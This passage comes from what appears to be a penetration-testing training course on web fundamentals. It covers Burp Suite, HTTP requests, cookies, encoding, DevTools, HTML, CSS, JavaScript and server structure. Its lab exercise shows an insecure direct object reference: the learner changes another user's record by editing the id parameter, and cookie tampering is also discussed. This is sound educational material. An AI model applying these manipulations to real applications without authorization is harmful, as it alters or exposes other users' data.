We can also use the HTTP history tab to view all the requests that
have been made thus far.
By selecting the initial GET request, we can view the raw request
again.
If we click on the Response tab we will find what the server
responded with.
At this point, we have laid out the foundation of HTTP requests and
how to intercept them using a proxy. Next, we'll start manipulating
data in order to hack an application.
Now that we are familiar with how data is sent to a server from a
client and we are familiar with how a proxy works, let's capture
a request and manipulate some data. We will be targeting the site
http://useredit.int (only accessible through our Kali
machine.) This site allows us to edit our user while viewing a list
of other users. The goal is to edit any of the parameters of the other
users. First, let's start Burp Suite and open the embedded browser.
Once the browser is opened, we can navigate to
http://useredit.int in the Chromium browser. Since Chromium
sends autosuggestion requests, Burp Suite will intercept several
requests that we can ignore by clicking on Forward or turning
Intercept off for a few seconds and turning it back on.
Once the page is loaded, the top half of the page contains a list
of existing users while the bottom half allows us to edit our
"Information". The "Your Information" section says that our first name
is set to "Kali", last name is set to "Hacker", and username is set
to "offsec". The table above our information also has a user with this
information and has the ID set to "4". This must mean that our user
ID is 4. Let's change the username to "pentester", click Save, and
observe the HTTP request in Burp.
The "save" function sends a POST request with the payload in the
body. We'll go into more detail about POST requests later on in the
Topic. For now, we'll focus on the four parameters:
id, fname, lname, and username.
We could edit the request in the Intercept view of Burp, but then we
would need to resubmit if we want a fresh request. Instead, we can
send this request to the Repeater to be able to modify and repeat
the request as many times as we'd like. To do this, we will right
click anywhere in the request and click Send to Repeater.
Once sent, the Repeater tab will change to an orange color to indicate
that something new has been added. We can navigate to Repeater by
clicking on the tab.
Once on the Repeater tab, we will notice the POST request we captured
on the right and an empty Response page on the right. Let's click
Send and view the response.
When the request is sent, the server responded with HTML. If we enter
our new username (pentester) in the bottom search bar, Burp Suite will
take us to the declaration of the table row that contains our information.
Now that we understand the basic functionality of Repeater, let's try
to manipulate the request. First, we must determine what our goal is.
Since this is an application that tracks user information, anything
that undermines the integrity or changes other user information
would be detrimental to the application. For example, multiple users
sharing the same username might cause issues in the application
where attackers can impersonate other users. We can test out if
this application is vulnerable to that by changing the username
parameter to "Xography" (an existing user). The final payload will
be id=4&fname=Kali&lname=Hacker&username=Xography.
Note that in the context of web application attacks, a payload is any
weaponized request meant to poke at functionality or cause harm to the
app. However, the term payload also generally refers to the body of an
HTTP request.
Unfortunately, when sending the request with an existing username, the
server responded with a 500 error and a message stating "The username
must be unique". It seems we won't be able to impersonate other
users just by copying their usernames, and we're going to have to Try
Harder.
One thing that is unusual about this request is the existence of the
id parameter. We never typed in our user's id, but it was included
in the request when it was sent to the server. This might be how the
server "knows" which user to modify. What would happen if we changed
the id to another user? Let's try this by setting the user with the id
of 2 to have a first name of "hacked", last name of "victim" and
username of "Ha-ha". The payload for this request is in
Figure {#fig:changing_existing_user}.
When sending the request, the server responds with a "200 OK" and the
HTML for the page. If we search for the username, Ha-Ha, we
can find that the username was changed for an existing user.
Excellent! We've verified that the application will trust
client-provided information. In particular, it will trust values for
the id parameter. Further, it relies on the client-provided value
as its only mechanism for knowing which account to reference. Abusing
this trust allows us to modify information belonging to another user.
We have discussed the use of Burp Suite and the embedded browser.
Before the addition of this new feature, we would have had to
configure Firefox to utilize Burp Suite as its proxy. It is still
important to understand how to configure a client to use the proxy
because some web applications might not support the embedded Chromium
browser or might use a completely different client (for example,
mobile applications). Using the Burp Suite documentation, configure
Firefox to use Burp Suite proxy and re-do the exercises above using
Firefox.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 180 minutes to complete.
Now that we have a very basic understanding of HTTP and we have a
powerful tool that we can use to read methods and responses, we want
to dive deeper. Next, we'll spend some time exploring of a variety
of the most common methods and responses, including learning how to
"read" them.
An HTTP request method tells the HTTP protocol what kind of action the
client wants to perform on a given resource or page. It's then up to
the server to determine how to interpret or handle the request. We've
already discovered the two most frequently used methods: GET and POST.
Usually when we click a link or visit a URL, the browser sends a GET
request to receive the HTML for that page. A POST request, on the
other hand, is used when a form is submitted to the application in
order to process user-submitted data. Other methods that may be used
are PUT, OPTIONS, DELETE, and HEAD, which we will explore briefly
below. It is also possible, however somewhat unusual, for servers to
implement custom methods. It is more common for servers to improperly
use pre-defined methods. For now, let's re-examine the GET request
from earlier.
GET /users?language=english HTTP/1.1
Host: www.example.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Listing 3 - Example HTTP GET Request
The HTTP request in Listing 3
was made by the browser when the URL
https://www.example.com/users?language=english was visited.
Let's take a moment and review some of the key terms in the output.
Method: In Listing 3, this is the
"GET" that the HTTP request starts with. There are many HTTP Methods.
While GET and POST are the most common, others include PUT, DELETE,
and OPTIONS. The GET request is used to obtain a current resource. In
this case, the request is attempting to obtain all users.
Path: This was "/users" in Listing
Query String: After the path, we can find the query
string,[617] which is delimited by a question mark (?). The query
string provides the parameters for the request.
Parameters: In the above listing, the query string defines
the language parameter which is set to "english". Parameters are
variables that can be used to take a specific action, like dynamically
changing the content or logging in as a specific user. While
parameters are not required for an HTTP request to be valid, they are
used as a vehicle for users to provide variable information to the
web application. Because of this, parameters are usually our primary
targets during security assessments as they allow users to control
input to the server.
Protocol: The protocol in Listing 3
is "HTTP/1.1". While HTTP 1.1 isn't the latest protocol, it is the
most prevalent. From this point forward, we will be discussing HTTP
1.1.
Headers: Headers also allow the client and server to
pass variables back and forth but differ from parameters by,
among other things, the location in the request. In listing
3 a few examples of headers are: Host,
Connection, and User-Agent. Headers are separated by a colon (:)
where the name of the header is on the left and the value is on the
right. Since headers are also set by the user's browser, they are
usually targets during security assessments.
Body: The body of a HTTP message also refers to a location that
a payload may be found. The body is the last line/lines of an HTTP
request. As mentioned above, the parameters in the example GET request
is in the query string. The body of the example request is empty.
It's important to understand that while a GET request is not intended
to alter the state of an application, web developers may decide to
implement requests in such a way that the standards are not followed.
As web application testers or developers joining a project, we
should therefore be careful not to make any assumptions about an
application's implementation.
Once the request is sent and processed by the server, the server
will respond with a HTTP response like the following:
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 25 Aug 2020 17:47:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2739
<!DOCTYPE html>
<html>
<body>
<h1>List of Users</h1>
<ul>
<li>Chellia</li>
<li>Ripes</li>
</ul>
</body>
</html>
Listing 2 - Example HTTP POST Response
Listing 2 displays a response that
we might receive from a request like the one found in Listing
3. An HTTP response only slightly differs
from an HTTP request. The first line of a HTTP response is a status
message. It starts out by confirming the HTTP version (i.e. HTTP/1.1)
and follows that up with a status code.[618] The following are common
HTTP status codes.
Note that a page's status code can be set by the website developer.
For example, accessing a document that requires authentication
without being an authenticated user should usually respond with a 401
Unauthorized status. However, it is possible for the developer to
program the application to respond with a 200 Ok response. Because
of this, it is important not to solely rely on the status code when
determining if a user has access to a given resource or not.
The HTTP response also contains various headers that give us
miscellaneous information. For example, based on the Server header,
we can deduce that the server is running the Ubuntu operating system
and uses the nginx server version 1.14.0. Finally, the HTTP response
contains the content the request was looking for, the HTML that
contains the list of users. The browser will take this HTML and render
it. An example of the page rendered in a browser can be found in
Figure {#fig:http_render}.
Now that we have demonstrated an HTTP GET request and an HTTP response,
let's review a request that uses another very common HTTP method, POST.
POST /sign-in HTTP/1.1
Host: www.example.com
Connection: close
Content-Length: 455
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://www.example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.example.com/sign-in/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
username=Gregory&password=4x9whSfLSfXkEtt7
Listing 4 - Example HTTP POST Request
In Listing 4, a POST method is being used
instead of a GET method. In this example, the HTTP request was made
when the username and password were submitted on a login form. A POST
request usually means the server has to process something or make a
state change. In this case, the server must process the username and
password to make sure they are valid.
In Listing 4, we also find the addition
of a couple new headers that we did not have in the earlier GET
request. One of the more important headers is the Content-Type
header. The Content-Type Header tells the server what kind of data
to expect. In this request, the server should expect data that is URL
encoded. The content type could be any number of formats but some of
the more common ones we find are "application/x-www-form-urlencoded",
"application/json", and "multipart/form-data".
One of the more crucial differences between a GET and a POST request
is the location of the payload. In a GET request the parameters are
located inside the query string, but in a POST request the parameters
are located inside the body of the request.
While the difference may seem trivial, it's important for a couple
of reasons. The path, including the query string, is often logged.
Because of this, it may be possible to extract sensitive information
from the application by analyzing the logs.For example, a web
application may insecurely use GET requests to transfer credit card
data.
In addition, the payload inside a POST request is hidden within the
body of the message instead of being visible inside the URL. Therefore
a specialized tool, like a proxy, can be used to view and manipulate
the payload of a POST request, including hidden input fields that may
not be rendered by the browser.
In the Cryptography Topic, we introduced the concept of encoding.
As a refresher, recall that encoding is the transformation of data
from one form into another. This process can help ensure that a given
set of information is preserved properly during information transfer
or that it is consumed correctly by whichever media is designed to
consume it.
An important encoding mechanism with respect to web applications is
URL encoding.[619] Web browsers interpret text within a
URL in one of two ways: either as raw text, or as special characters
that perform a particular function within the URL. We have already
seen a few of these, such as the query string identifier, "?". The
"?" tells the server that what follows is to be interpreted as a
parameter:value pair. But what happens if we want to use a literal
question mark as part of a URL? In order to allow this set of special
reserved characters to be literal parts of the URL, we need to URL
encode them. We'll demonstrate how to perform URL encoding below, but
first let's review some other special characters.
? - The query string identifier, which starts a query string.
Example: http://site.com?search
= - Separates a parameter and value pair. Example:
"language=english"
& - Appends another parameter and value pair. Example:
"language=english&color=blue"
/ - Indicates hierarchical directory structure or http route.
Example: http://site.com/folder/page.txt
. - Part of a directory structure. A single period (".")
represents the current directory and two of them ("..") represents one
parent up.
: - Separates the protocol and port from the resource. Example:
http://site.com
% - Indicates a URL encoding character.
There are plenty of instances in which we might have to use one or
more of these reserved characters as literal parts of the data that we
want to transmit. As an example, imagine having a search term you are
trying to find on a website consisting of two words separated by a
space. Since the space character is also reserved, then the space must
be encoded using URL encoding.
In this example, we are searching for the term "URL encoding".
Since the URL cannot contain a space, the encoding will change that
character to "%20".
https://site.com?search=URL%20 encoding
Listing 5 - Example of encoded URL
URL encoding works by replacing all forbidden URL characters with
the "%" sign followed by the hexadecimal ASCII value of the specified
character.
A basic foundational understanding of URL encoding is important for
ensuring that data is delivered to a target system intact and isn't
transformed in a way that renders it unusable. It's not necessary
for us to remember all encoded values but to understand why some
characters are encoded while others are not.
We can start practicing encoding with Python. The urllib.parse
package within Python3 provides URL encoding with the
quote()[620] function. Python3 is available on most
Linux distributions by default, so we can leverage this method without
installing any additional software.
It's important to mention that there are external websites[621]
that we could use for these encoding exercises. It will be good to
get into the habit of learning how to do these things from the command
line. We may need to encode sensitive information in the future and
we have no guarantee that an external website would not capture and
retain that data.
Note that on a professional security engagement, it is best practice
to perform any encoding or text transformation locally and not online.
Let's run python3 with the -q flag, which cleans
up our output by suppressing version and copyright information. Then
we'll import the urllib.parse library. Finally, we'll run
quote() with the example we want to encode, which is /El
Niño/.
kali@kali:~$ python3 -q
>>> import urllib.parse
>>> urllib.parse.quote('/El Niño/')
'/El%20Ni%C3%B1o/'
>>>
Listing 6 - URL encoding example with quote()
Listing 6 shows that the initial string "/El
Niño/" is now URL encoded to "/El%20Ni%C3%B1o/". However, we notice
that the forward slash ("/") has not been encoded. This is because
Python considers the "/" character safe by default. If we want
to encode this character as well, we can change the list of safe
characters. In this case, we'll provide an empty list to the safe
parameter, so that quote will encode the spaces, the ñ
character, and the forward slashes.
>>> urllib.parse.quote('/El Niño/', safe='')
'%2FEl%20Ni%C3%B1o%2F'
>>> exit()
kali@kali:~$
Listing 7 - URL encoding example with quote() and empty safe parameter
Listing 7 shows that we have successfully
encoded the forward slashes. Recall that to close the python3
interpreter, we use the exit() function.
Note also that Burp Suite has a dedicated Encoder tab that can be used
for URL encoding and decoding, as well as other types of encoding too.
While GET and POST are by far the most common HTTP request
methods, we'll take a quick tour to explore some of the other
methods[622] you will encounter. Note that web browsers
normally cannot send any requests other than GET and POST.
PUT: Updates the content of a given resource with the client's
input.
DELETE: Removes the requested resource.
OPTIONS: Returns the communication options allowed by the
server, including the allowed methods that the server accepts.
HEAD: Similar to GET, but only retrieves the HTTP headers of the
page without the response body.
Its important to understand that the implementation of how a given
server interprets requests is up to the developer. The request's
"normal" functionality is merely considered a best-practice. It's
possible, for example, to implement a PUT request that deletes a
resource.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 75 minutes to complete.
HTTP Headers allow a web server and client to pass particular kinds of
information back and forth.
There are many different headers[623], so let's focus on some
of the common ones that are important for web security.
User-Agent: Specifies to the server what version of browser we
are using. Some servers may only allow specific User-Agents to access
their resources. However, since we can intercept and edit requests
with a proxy, we are often able to trick the server and bypass this
restriction.
Origin: Tells the server where a request originally comes from.
Accept-Language: Tells the server which human-speaking language
the client expects back. This header could be helpful for a system
administrator or defender to learn more about the potential location of
an attacker.
Accept-Encoding: Tells the server which encoding types the client
will understand. In particular, Accept-Encoding allows the client
and server to negotiate which compression algorithm should be used to
transmit data.
Forwarded: Provides the server with diagnostics for a given request
that comes via a proxy. By default, it gathers sensitive client-side
information.
Server: Often reveals the name of the software running the web
server to the client.
Proxy-Authenticate: Tells the client which type of authentication
should be used to access a page or resource sitting behind a proxy.
Proxy-Authorization: Tells the client which credentials to use in
order to access a page or resource sitting behind a proxy. Credentials
are transmitted in base64 encoding.
Strict-Transport-Security (HSTS[624]): tells a client that
it should only access the server via HTTPS, the encrypted version of
HTTP. We'll learn more about HTTPS in a section below.
There are several headers that start with the letter "X", as in
X-Requested-With. This syntax is one way to represent non-standard
HTTP headers, and they often reveal interesting information about the
software used by the web application.
For example, the X-Requested-With header usually suggests
Ajax[625] requests, and the X-amz-cf-id header indicates that the
application uses Amazon CloudFront.
Finally, another important group of headers for web security are the
various cookie headers. We'll discuss cookies in detail in the next
several sections.
HTTP cookies[626] are a common way to maintain state throughout
a series of HTTP requests for a particular user. Most web applications
use cookies[627] as part of their authentication framework.
HTTP by itself is stateless. Data from one HTTP request does not
influence the next request sent by the same user. The web server can
only process the data available on the request.
Let's consider an e-commerce site as an illustration of how this might
work. Users add items to their carts, submit their shipping address,
and enter their payment information. Such a site needs to know who
the user is and where they are in the shopping flow. Session state is
the information that the web application has accumulated about a user
during their current interactions with the site.
The site could ask the user for their username and password on every
request, but that would be annoying. Instead the server could provide
a token that the user's browser can send on every request.
This type of authentication flow starts when a user submits a username
and password to the server. The server validates the credentials and
creates a session identified by a random token. The token is returned
to the user in the HTTP response to the login request. The browser
will save this cookie and include it on all subsequent requests to the
site.
When the user navigates to a new page and the browser sends the HTTP
request, the server will read the cookie value and look up the
session. Using this information, the server knows which user sent the
request.
In this example, the server can verify the user's identity by checking
the session state associated with their session identifier. Without a
cookie, users would need to include their password on each request.
Developers use session state to store information about a user. The
data stored varies by application, but some examples are the user's
name, last page visited, and shopping cart items. The server uses
the session identifier as a key to look up this information.
Since browsers store cookies locally, we can easily modify their
values. If an application uses cookies in an insecure way, we might
be able to manipulate the cookie values and make the application do
something unintended.
In secure implementations, the values stored in cookies are
randomly generated and are used as lookup keys for server-side
data. For example, if we log in to an application and get a
cookie with a session identifier of 3, we can assume that there
are sessions with identifiers of 1 and 2. We would have a more
difficult time guessing another session identifier if ours is
"b9edc541a87be432175defdf08aec342".
We can use Burp Suite to modify cookie values on an HTTP request. With
Burp Suite open and the requests proxied, we need to find a request
that loads the home page as an authenticated user. Once the request
is located, we will send it to Repeater. Once in Repeater, we can add
or modify the cookies on the request and resend the request to the
web application. If a web application contains logic errors in its
authentication framework, we may be able to use cookie manipulation to
gain access to the data of other users or even their sessions.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 80 minutes to complete.
One of the most important and common tools used for web application
development and security is the browser's suite of built-in
Development Tools.[628] Often called "DevTools" for short,
these browser-based interfaces are designed for development and
debugging, but also allow an end-user to inspect and manipulate
client-side code.
In this section, we're going to use DevTools on Firefox as an example
because it is Kali's default browser. Every major browser has their
version of DevTools, but keep in mind that implementations may differ.
To open DevTools on Firefox, click on Settings >
Web Developer > Toggle Tools. We can also use the
C+B+i hotkey.
There are several tabs included with the Firefox DevTools. Some of
them will be more relevant to our purposes than others. Let's begin
with the Inspector tab. Inspector lets us view the page's HTML
dynamically. We can select bits of HTML and the tool highlights which
section of the page that particular section is describing.
The Console tab allows us to execute JavaScript via a browser-based
interpreter and view logs for the current page. We can execute
arbitrary JavaScript functions in the context of the current web page.
This is similar to opening up a Python interpreter with the python3
command in a terminal.
Let's try executing a JavaScript function. We will type
"window.alert('hello')" in the Console, then press I to
execute the function.
As shown in Figure 26, the browser executed the
function and displayed a message box with our text.
The Debugger allows us to review all loaded JavaScript code and add
breakpoints to stop execution before code is executed. We won't be
using it in this Topic.
The Network tab is particularly interesting to us. Let's navigate to
it and reload the page.
We can find all the resources requested by the current page, including
the method used as well as the size and type of each resource. If we
click a row, we can discover the request and response headers on the
right-hand side. We can also view any cookies stored by navigating to
the Cookies subtab.
The Style Editor tab allows us to view any CSS on the page. We'll
learn more about CSS later.
The Performance and Memory tabs aren't relevant to us at the
moment. The Storage tab displays various types of data that can
store information about the page. Most notably, this includes any
cookies that are being stored, as well as detailed information about
each cookie.
Finally, the Accessibility and What's New tabs allow us to turn
on accessibility features and to check out the DevTools patch notes
respectively.
HyperText Markup Language (HTML)[629] describes web resources.
It lays out the structure of a page and determines what content
will appear. It's important to note that HTML is not considered
a programming language, but a markup language, which means it
describes how to render text.
HTML uses the concept of elements to describe content. A tag is a
keyword wrapped in angle brackets < >. For example, the
most fundamental HTML tag is <html>, which identifies
the beginning of an HTML document. Likewise, the </html>
closing tag is used to define the document's end. An opening tag, it's
corresponding closing tag, and the content between it is called an
element.
In addition to using the browser DevTools to view a resource's HTML,
we can also right-click anywhere on a page and click View Source.
The following image shows the <html> tag at the beginning
of the www.kali.org source code. If we were to scroll all
the way to the right, we would find the ending <html> tag as
well.
There are several other important tags we will need to be aware of.
<html>: Defines the beginning and end of an HTML document.
<head>: Contains metadata about the document, for example the
page's title.
<header>: Defines the beginning and end of an introductory section
of the page. Usually contains a summary or abstract.
<body>: Defines the beginning and end of most of the page's
content.
<a>: Defines an anchor. The most common use case for <a>
is to flag a hyperlink, which is a clickable section of text that
links to another resource or performs some action. For example, the
superscript number following this sentence is a hyperlink.[630]
<p>: Defines the start of a paragraph.
<style>: Inputs internal Cascading Style Sheets (CSS) directly
inside the HTML. We'll learn more about CSS in a section below.
<script>: Inputs JavaScript directly inside the HTML. We'll
learn more about JavaScript in another Learning Unit.
<img>: Defines an image.
<form>: Defines a form where the user can input information.
It is one of the primary ways in which users can send data to a web
application from their browser. Forms are most often implemented via
POST requests, and are extremely important for security because they
might allow untrusted input. If input isn't properly validated or
sanitized, it could result in unintended code injection or execution.
<input>: Defines a field where a user can input data. A form,
for example, usually contains multiple input elements. This is
particularly important for two reasons.
First, it represents functionality that trusts the user to some
extent. As security professionals, we should always be on alert
for any such functionality because any component that trust a user
is potentially vulnerable to unintended manipulation.
The second reason the input tag is interesting to us is beacuse
of the type attribute. This attribute can be included in the input
tag like so: <input type="hidden"> . The hidden value allows
developers to include input that will not be rendered via the browser,
but is still sent with form data. Developers might use this value
under the belief that hiding an input field can add an extra layer of
security. That might appear true on the surface, but both DevTools and
Burp Suite are capable of manipulating hidden input fields. Therefore,
when we find hidden fields on a security engagement we should pay
extra special attention, because we will know we've found something
the developer wanted to hide.
Hidden attributes can be used with any tag. However, when used with
<input>, it usually represents a more significant potential
security impact.
While knowing how to write HTML from scratch to build a web page isn't
usually necessary for most security professionals, having a high-level
understanding of its structure and syntax is very important. HTML
has quite a lot of syntax, so remember to research terms that are
unfamiliar while browsing a site's source code.
Where HTML describes the structure of a web resource, Cascading
Style Sheets (CSS)[631] describes how the content should appear.
Another way to think about this distinction is that HTML tends to
determine what goes on the page, while CSS determines how it appears.
CSS can be stored in three ways: external, internal, and inline.
External CSS lives in its own document, which typically has the
.css file extension. External CSS is most often used when
we want to control the styling of our entire website; most of the CSS
used for a large site would be external.
Internal CSS is used within a given HTML page, and usually takes care
of styling one specific page, which we might want to have a different
appearance and feel to the rest of our site. Internal CSS is defined
via the <style> HTML tag.
Finally, inline CSS is the most granular option, because it can be
used to modify a specific HTML element. The style attribute can
be added to any tag to specify its style. For example, we might want
the title of a section of text to be red. To do so, we could use the
element: <p style=color:red;>Offensive Security</p>,
which will modify the inline "Offensive Security" text.
Viewing the CSS of a given page is similar to viewing its HTML.
As discussed above, the View Source function in the browser will
show the page's HTML content. From there, we can usually find the
page's CSS by searching for keywords like ".css" or "stylesheet".
In the following image, we find the external CSS referenced by the
kali.org homepage HTML, as well as some internal styling via
the <style> tag.
If we want to read the external CSS, we can open it in another browser
tab by clicking the URL.
It's unusual for a security professional to need to understand the
details of CSS syntax, so we won't be going over it here aside from
mentioning a few key items to take note of.
The first is that reviewing the source code of a resource's CSS can
sometimes divulge information that the developer meant to hide. For
example, the source code might contain information about a link or
resource that the developer didn't intend to be public.
Second, CSS can also be used to hide forms and sections of a web
site. This can have critical security implications. In one of our
engagements, we've found a high risk bug because the developers of
the site were authorizing users by hiding certain elements via CSS.
By manipulating the CSS, we were able to display access to the entire
administrative console.
Finally, CSS can also be used proactively in an offensive engagement
to craft realistic and believable client-side attacks. For example, we
might want to create an authentic-looking website to redirect a user
to via a Phishing[632] attempt.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete
JavaScript[633] is a high-level programming language that has become
one of the fundamental components of modern web applications. All
modern browsers include a JavaScript engine that runs any client-side
JavaScript code.
When a browser processes an HTTP response containing HTML, the
browser creates a Document Object Model (DOM) tree and renders it.
JavaScript can access and modify the page's DOM, resulting in a more
interactive experience for end users.
A common example where JavaScript could be useful is with client-side
validation of a form. Instead of submitting a form to the server and
having the server respond with an error, a JavaScript function could
check the form first before submitting it to the server.
We can read through JavaScript files to get an idea of what they do
and check if any contain secret values, like credentials or API keys.
Now let's cover a few general programming terms that will help us
understand the basics of JavaScript. Many of the terms may be familiar
from the Scripting Topic.
A variable stores a value. An object contains key value pairs
called properties.
// define a variable named x with a value of 1
var x = 1;
// define an object named z with a property named foo and a value of bar
var z = { foo: "bar"};
Listing 8 - Defining variables and objects
A function[634] is a series of statements. A function may
have parameters that need to be included when the function is called.
After the function is executed, it may return a value back to the
calling code.
function addNumbers(x, y) { return x + y; }
Listing 9 - Defining a function
In the above example, the name of the function is addNumbers and it
receives two parameters. The function adds the two parameters together
and returns the result.
A method could be considered a function that is a property of an
object. The method can reference values of the object that owns it
with the this keyword.
// define an object with a method
var book = {
title: 'Moby-Dick',
author: 'Herman Melville',
toString: function() {
return this.title + " by " + this.author;
}
};
// call the book object's toString method
book.toString()
// output
"Moby-Dick by Herman Melville"
Listing 10 - Defining an object with a method
There is far more to JavaScript than we can cover here. These basics
will help us read JavaScript code and start to understand how it works
in the context of web security.
We can run JavaScript code directly in our browser. For the following
section, let's open Firefox and go to https://www.google.com.
After the page loads, we will open the Console tool by first clicking
on the Open menu button.
A new menu window will open. We will click on Web Developer.
Finally, we will click on Web Console to open the Console tool.
Note that there may be some warnings in the console. We can ignore these
warnings and delete them by clicking on the trash icon.
We can also use the shortcut C+B+J to
open the Console tool.
Now that we have the Console tool open, let's review some JavaScript
fundamentals.
The document object contains everything that makes up the page as
our browser renders it. If we are interacting with the DOM, most of
our code will start with the document object. For example, we can use
the document's getElementsByTagName() method to get a list of all
HTML tags that match a specified value.
Let's try this out in Firefox. We will enter
document.getElementsByTagName("a") in the Console to select
all tags that are links to other pages.
We get an HTMLCollection object (an array-like list) containing all
the anchor tags in the document. We can expand the list of objects by
clicking on the caret icon.
We can quickly examine interesting tags using JavaScript like this.
Let's click the trash icon to clear the console output and then get
all input fields with document.getElementsByTagName("input").
The resulting HTMLCollection contains all the input fields, including
hidden ones. Not every field will contain important information, but
hidden input fields can sometimes contain sensitive information.
We can use our browser's console to run any JavaScript functions that
have been loaded by the current web page.
Use web browser development tools to solve the following exercises.
Further instructions can be found at /module2.html of the target
VM.
Minification[635] compresses JavaScript files by removing
unnecessary content, such as comments and extra white space. This
process does not change the functionality of the minified files.
End users can examine anything in JavaScript source files sent by
a web server. For this reason, client-side JavaScript files should
not contain any secret values, like passwords, encryption keys,
or "hidden" functionality. Developers sometimes try to limit this
exposure by minifying or obfuscating JavaScript files. However, the
files still need to be valid JavaScript that browsers can parse.
Some minification libraries will also rename variables, functions,
and methods into shorter names. The end result is a smaller file that
browsers can still read but which is more difficult for humans to read.
Most browsers have built-in tools that will "prettify" minified
source code. This process reintroduces white space and formatting.
We still have to deal with oddly named variables and functions, but
the "prettified" layout is no longer an obstruction to analyzing the
source code.
Code obfuscation goes a step beyond minification by using additional
techniques to make code difficult to read, such as encoding parts
of the code or injecting dead code. While these features can make it
more difficult for humans to read the code, JavaScript that is heavily
obfuscated runs slower than minified code.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 30 minutes to complete.
There are many ways to structure content on a web server. In this
Topic we'll briefly describe the traditional directory structure, as
well as the more modern concept of HTTP Routing.
Traditionally, web servers would have directory structures, just
like a Linux hierarchical set of directories. In this model, the
"base" folder contains a group of files or directories, the latter
of which can contain more files or folders. We call this base
folder the web root, and it usually sits on a Linux machine under
/var/www/html/. When we add files to the html/
directory, they get hosted by the web server. If we want our website
to have pages for Pentesting and for Security Operations, we might
create two files in the web root called pentesting.html and
sec-ops.html respectively.
There are a few key files we might put within a traditional web
server. Index files usually contain the default content we would
want a visiting user to load for a directory. If the user browses to
our domain or IP address but doesn't specify a particular page, the
web server will commonly default to an index file: index.html
or index.php for example. Technically, we could set the index
file to anything we'd like, but most web servers would use something
similar to index.html or default.html for clarity.
If an index file is unspecified, the web server might return
a directory listing containing all the files or folders within the
directory. Developers can choose to disable directory listing, but
any file can still be accessed if we know (or guess) their paths. For
example, even with directory listing turned off, we might bet that an
organization has a contact-us.html or about-us.html
page.
Robots.txt[636] allows us to specify files on our server
that we don't want to be crawlable.[637] Effectively,
robots.txt tells a robot[638] whether it should be
allowed to visit certain parts of the site or not. The content of
most robots.txt files contain parameter-value pairs. The
two most common parameters in robots.txt are User-agent
and Disallow. User-agent specifies which User-agents ought to be
constrained, and Disallow specifies which folders or files should be
ignored by the specified User-agents.
Here is an example of a robots.txt file:
User-agent: *
Disallow: /tmp/
Listing 11 - Example of a robots.txt file
The asterisk, (*), character means "all", so this robots.txt
file would instruct all visiting robots that they cannot browse to the
/tmp/ directory within our web server. Robots.txt
can be useful to a security assessor because some web developers will
disallow interesting files that may merit further inspection.
Humans.txt is a relatively newer convention that lists all the
people who have worked on a web site. It won't necessarily be found
on every web server, but it can be useful for enumerating information
about contributors or development-scope.
sitemap.xml[639] is the counterpart of
robots.txt. Where robots.txt primarily specifies
files that should be ignored by crawlers, sitemap.xml helps
to tell search engines that the site should be crawled. This is
often used for Search Engine Optimization (SEO).[640] These files
can be helpful to security assessors because they can let us find
pages that we otherwise might not have known about.
Traditional directory structures make use of real files sitting
in directories on the web server. For example, the existence of
a /var/www/html/site necessarily implies the existence
of an html/ directory. In this case, a request to
http://somesite.com/site would respond with the file within
the html/ directory.
By contrast, many modern web applications make use of HTTP routing.
Instead of having a file living at /var/www/html/site, the
application's code would define a URL at site/ to respond
with a certain resource.
Crucially, there is no "site" file that exists on the server, and
there may not even be an "html" directory. In an important sense,
/site would be the full name of a resource, and not actually
a path to a real file.
This has several security implications. First, since there are no
actual files on the server hosting content, we need to know the
full name of a given resource in order to access it. For example,
/users/admin might be a valid path, but /users/
might not.
Second, HTTP Routing allows a developer to code a resource so that it
can only be accessed via a particular method. This means that even if
we as attackers know that a specific resource exists as part of the
web app, we also need to know which method it accepts. Since we need
to know both the full name of a resource as well as which method to
use, enumeration of the web application can be more time consuming.
In addition, we cannot necessarily depend on GET requests to find all
potential resources on the web app.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
The usefulness of web applications is significantly increased with
the addition of data management. Adding a data layer enables web
applications to authentication users, manage products, post blogs,
accept user comments, and much more. However, this additional
complexity brings new vectors that can be exploited to bypass
authentication or steal sensitive data.
While data management integrations come in many shapes and sizes,
one of the most frequently used is the relational database. Before
we start exploring databases[641] for web applications, let's
first review what a database is.
The purpose of a database is to store and retrieve data in a quick and
effective manner. To use a database, a web application needs an active
connection to the database server. Once a user submits a request
that requires information, the web application creates a query and
sends the query to the database. The database executes the query and
the data is returned to the web application. Using the data, the web
application builds the appropriate response to send back to the user.
Depending on the query, these steps usually feel almost instantaneous
to the user.
In most scenarios, the only interaction we have with a database
is through the web application. Compared to the amount of web
applications available on the Internet, it is not common to find an
accessible database server. Similarly to how a web browser is a client
to the web application server, a web application is a client to the
database server. However, unlike a web browser, the protocol used
for communication is not HTTP (most likely). Instead, each database
server uses their own protocol standard. Since we are not directly
interacting with the database, we do not need to familiarize ourselves
with the protocol. We do, however, need to familiarize ourselves with
the way that the web application knows which data to query for.
Most commonly, databases are either relational[642] or
non-relational.[643] For this Topic, we will be
concentrating on web applications that use a relational database.
Some common relational database servers include MySQL, Microsoft
SQL Server, and PostgreSQL.
In a relational database, the data is stored in a table with one
or more columns. The columns represent attributes about the data
(i.e. ID, first name, email, etc.). Each row, also called a tuple,
represents a record of data.
| ID | first_name | |
